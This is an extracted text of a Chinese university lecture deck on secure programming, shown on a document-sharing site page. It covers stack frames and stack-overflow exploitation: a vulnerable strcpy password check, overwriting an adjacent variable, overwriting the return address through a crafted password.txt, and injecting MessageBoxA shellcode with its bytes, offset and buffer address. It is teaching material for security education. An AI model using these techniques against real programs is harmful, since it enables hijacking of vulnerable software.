04_CC++漏洞_栈溢出利用.ppt

上传人:s****8 文档编号:82768843 上传时间:2023-03-26 格式:PPT 页数:50 大小:1.96MB
返回 下载 相关 举报
04_CC++漏洞_栈溢出利用.ppt_第1页
第1页 / 共50页
04_CC++漏洞_栈溢出利用.ppt_第2页
第2页 / 共50页
点击查看更多>>
资源描述

《04_CC++漏洞_栈溢出利用.ppt》由会员分享,可在线阅读,更多相关《04_CC++漏洞_栈溢出利用.ppt(50页珍藏版)》请在得力文库 - 分享文档赚钱的网站上搜索。

1、CompanyLOGO安全性编程方法天津农学院计算机科学与信息工程系软件工程教研室许晓华v第4讲 v栈溢出利用4.1系统栈的工作原理v栈与系统栈的区别:v栈:数据结构角度的栈,是一种先进后出的数据表.常见操作PUSH进栈POP出栈栈的属性TOP栈顶BASE栈底v系统栈:内存的栈区透明性概念v对于C语言这样的高级语言,系统栈的PUSH,POP等堆栈平衡细节是透明的。v一般说来,只有在使用汇编语言开发程序的时候,才需要和它直接打交道。v计算机中透明性概念:计算机中存在,但对于开发人员不需要了解的东西.v高级语言写出的程序经过编译链接,最终会变成PE文件。当PE文件被装载运行后,就成了所谓的进程。v

2、如下图所示:系统栈与函数调用v#includestdafx.hvintfunc_B(intarg_B1,intarg_B2)vvintvar_B1,var_B2;vvar_B1=arg_B1+arg_B2;vvar_B2=arg_B1-arg_B2;vreturnvar_B1*var_B2;vvintfunc_A(intarg_A1,intarg_A2)vvintvar_A;vvar_A=func_B(arg_A1,arg_A2)+arg_A1;vreturnvar_A;vvintmain(intargc,char*argv,char*envp)vvintvar_main;vvar_main=

3、func_A(4,3);vprintf(var_mainis%dn,var_main);vreturnvar_main;v栈帧v当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,并把它压入栈中。v当函数返回时,系统栈会弹出该函数所对应的栈帧。调用时栈中的操作v在main函数调用func_A的时候,首先在自己的栈帧中压入函数返回地址,然后为func_A创建新栈帧并压入系统栈v在func_A调用func_B的时候,同样先在自己的栈帧中压入函数返回地址,然后为func_B创建新栈帧并压入系统栈v在func_B返回时,func_B的栈帧被弹出系统栈,func_A栈帧中的返回地址被“露”在栈顶,此时处

4、理器按照这个返回地址重新跳到func_A代码区中执行v在func_A返回时,func_A的栈帧被弹出系统栈,main函数栈帧中的返回地址被“露”在栈顶,此时处理器按照这个返回地址跳到main函数代码区中执行寄存器与函数栈帧vWIN32系统提供两个特殊的寄存器用于标识位于系统栈栈顶的栈帧:ESP:(extendedstackpointer)栈指针寄存器,指向系统栈最上面一个栈帧的栈顶EBP:(extendedbasepointer)基址指针寄存器,指向系统栈最上面一个栈帧的底部v函数栈帧:ESP和EBP之间的内存空间为当前栈帧。v另一个重要的寄存器EIP:(extendedinstruction

5、pointer)指令寄存器,指向下一条待执行的指令地址函数调用约定与相关指令vVisualC+默认的参数入栈顺序是:v右-左函数调用的步骤v参数入栈:将参数从右向左依次压入系统栈中v返回地址入栈:将当前代码区调用指令的下一条指令地址压入栈中,供函数返回时继续执行v代码区跳转:处理器从当前代码区跳转到被调用函数的入口处v栈帧调整:具体包括:保存当前栈帧状态值,以备后面恢复本栈帧时使用(EBP入栈)将当前栈帧切换到新栈帧(将ESP值装入EBP,更新栈帧底部)给新栈帧分配空间(把ESP减去所需空间的大小,抬高栈顶)函数调用时的指令序列v;调用前vpush参数3/假设函数有3个参数,将从右向左依次入栈

6、vpush参数2vpush参数1vcall函数地址/call指令将同时完成两项工作:a)向栈中压入当前指令在内存中的位置,即保存返回地址;b)跳转到所调用函数的入口地址函数入口处vpushebp;保存旧栈帧的底部vmovebp,esp;设置新栈帧的底部(栈帧切换)vsubesp,xxx;设置新栈帧的顶部(抬高栈顶,为新栈帧开辟空间)例题v#includestdafx.hvvoidfun(inta,intb)vvintc=a+b;vvvoidmain()vvfun(1,2);v反汇编vVC+里如何反汇编?1.先在程序中设置断点(F9)2.调试(F5)3.用以下三种方法进入反汇编右键gotodis

7、assemblyAlt+8Windows菜单下选择“disassembly”函数返回的步骤v保存返回值:通常将函数的返回值保存在寄存器EAX中v弹出当前栈帧,恢复上一个栈帧,具体包括:在堆栈平衡的基础上,给ESP加上栈帧的大小,降低栈顶,回收当前栈帧的空间将当前栈帧底部保存的前栈帧EBP值弹入EBP寄存器,恢复出上一个栈帧将函数返回地址弹给EIP寄存器v跳转:按照函数返回地址跳回母函数中继续执行函数返回时的指令序列vaddxxx,esp/降低栈顶,回收当前的栈帧vpopebp/将上一个栈帧底部位置恢复到ebp,vretn/这条指令有两个功能:a)弹出当前栈顶元素,即弹出栈帧中的返回地址。至此,

8、栈帧恢复工作完成。b)让处理器跳转到弹出的返回地址,恢复调用前的代码区4.2修改邻接变量#includestdafx.h#includestring.h#includestdio.h#definePASSWORD1234567intverify_password(char*password)intauthenticated;charbuffer8;authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);/在此在此处溢出溢出!returnauthenticated;main()intvalid_flag=0;charpass

9、word1024;while(1)printf(请输入密入密码:);scanf(%s,password);valid_flag=verify_password(password);if(valid_flag)printf(密密码不正确不正确!nn);elseprintf(密密码验证通通过n);break;v运行,密码输入qqqqqqq(7个q),不通过v输入qqqqqqqq(8个q),居然通过了密码验证v为什么?v先来了解一下大端机与小端机的概念。大端机与小端机v大端机(bigendian)低地址存放最高有效位(MSB:MostSignificantBit)例如:JavaVirtualMach

10、inev小端机(littleendian)低地址存放最低有效位(LSB:LeastSignificantBit)例如:Intelx86栈帧布局图栈帧布局图形参形参:password返回地址返回地址前栈前栈帧EBPauthenticated(0 x00000001)buffer47(ASCII:qqqnull)buffer03(ASCII:qqqq)v再来看一下,函数调用时的栈帧布局图栈从高到低扩展栈从高到低扩展数组,按人类的书写习惯,低数组,按人类的书写习惯,低位在前,高位在后位在前,高位在后整数,按人类的书写习惯,高整数,按人类的书写习惯,高位在前,低位在后位在前,低位在后v当输入7个q,7

11、个q大于1234567,所以authenticated的值为0 x00000001,不能通过验证。v当输入8个q,“qqqqqqqq”大于1234567,authenticated的值还是0 x00000001,但“qqqqqqqq”后面的字符串截断符0 x00会溢出。v这溢出数组的一个字节0 x00恰好把authenticated变量改为0 x00000000。v函数返回时,main函数一看authenticated是0,就会通过密码验证.v为什么01234567不行?v因为字符串大小的比较是按字典序来的,所以这个串小于“1234567”vauthenticated的值是-1,在内存里将按照

12、补码存负数,所以实际存的是0 xffffffff。v那么字符串截断符0 x00淹没后,变成0 xffffff00,还是非0,所以没有进入正确分支。4.3修改函数返回地址v如果在刚才溢出的基础上,多溢出几个字节,将下面的返回地址覆盖。就可以做到劫持进程。v要将返回地址覆盖为什么地址呢?v当然是通过验证的地址了,见下图。v然后输入密码.v出于字节对齐、容易辨认的目的,将“4321”作为一个输入单元。buffer8共需要2个这样的单元第3个输入单元将authenticated覆盖第4个输入单元将前栈帧EBP值覆盖第5个输入单元将返回地址覆盖v由于地址00401122无法在控制台输入,所以,我们改造一

13、下代码,将密码获取方式改为从.txt文件中读取。从.txt文件中读取密码v#includestdafx.hv#includestring.hv#includev#definePASSWORD1234567vintverify_password(char*password)vvintauthenticated;vcharbuffer8;vauthenticated=strcmp(password,PASSWORD);vstrcpy(buffer,password);/overflowedhere!vreturnauthenticated;vvmain()vvintvalid_flag=0;vch

14、arpassword1024;vFILE*fp;vif(!(fp=fopen(password.txt,rw+)vvexit(0);vvfscanf(fp,%s,password);vvalid_flag=verify_password(password);vif(valid_flag)vvprintf(incorrectpassword!n);vvelsevvprintf(Congratulations!Youhavepassedtheverification!n);vvfclose(fp);vv将上述代码,编译链接生成PE文件v在PE文件同目录的位置创建一个password.txt文件。内

15、容为43214321432143214321v用UltraEdit打开该文件,点击“切换十六进制模式”v将最后一个4321,改成22114011v将PE文件拖入OD,F9运行4.4代码植入#include#include#definePASSWORD1234567intverify_password(char*password)intauthenticated;charbuffer44;authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);/overflowedhere!returnauthenticated;main(

16、)intvalid_flag=0;charpassword1024;FILE*fp;LoadLibrary(user32.dll);/prepareformessageboxif(!(fp=fopen(password.txt,rw+)exit(0);fscanf(fp,%s,password);valid_flag=verify_password(password);if(valid_flag)printf(incorrectpassword!n);elseprintf(Congratulation!Youhavepassedtheverification!n);fclose(fp);步骤v

17、1.分析并调试漏洞程序,获得淹没返回地址的偏移在password.txt的第几个字节填伪造的返回地址v2.获得buffer的起始地址,并将其写入password.txt的相应偏移处,用来冲刷返回地址填什么值v3.向password.txt中写入可执行的机器代码,用来调用API弹出一个消息框编写能够成功运行的机器代码(二进制级别的)v这三个步骤也是漏洞利用过程中最基本的三个问题淹到哪里淹成什么开发shellcode淹到哪里vpassword.txt文件中的第53-56个字符.淹成什么vbuffer的起始地址.开发shellcodev给password.txt中植入机器代码装载动态链接库user3

18、2.dll。(MessageBoxA是动态链接库user32.dll的导出函数)求MessageBoxA函数的入口地址在调用前需要向栈中按从右向左的顺序压入MessageBoxA的四个参数求MessageBoxA函数的入口地址v入口地址=基址+偏移地址user32.dll在系统中加载的基址MessageBoxA在库中的偏移地址v使用VC6.0自带的小工具“DependencyWalker”v运行Depends后,随便拖一个有图形界面的PE文件进去,就可以看到它所使用的库文件了。v在左栏中找到并选中user32.dll后,右栏中会列出这个库文件的所有导出函数及偏移地址;下栏中则列出了PE文件用到

19、的所有的库的基地址。要植入的机器代码v机器代码(16进制)汇编指令v33DBXOREBX,EBXv53PUSHEBXv6877657374PUSH65596F75v686661696CPUSH494C6F76v8BC4MOVEAX,ESPv53PUSHEBXv50PUSHEAXv50PUSHEAXv53PUSHEBXvB8EA04D877MOVEAX,0 x77D507EAvFFD0CALLEAXv将上述汇编指令对应的机器代码按照上一节介绍的方法以16进制形式逐字抄入password.Txtv第53到56字节填入buffer的起址0 x0012FAF0,其余的字节用0 x90(nop指令)填充

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 生活休闲 > 生活常识

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知得利文库网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号-8 |  经营许可证:黑B2-20190332号 |   黑公网安备:91230400333293403D

© 2020-2023 www.deliwenku.com 得利文库. All Rights Reserved 黑龙江转换宝科技有限公司 

黑龙江省互联网违法和不良信息举报
举报电话:0468-3380021 邮箱:hgswwxb@163.com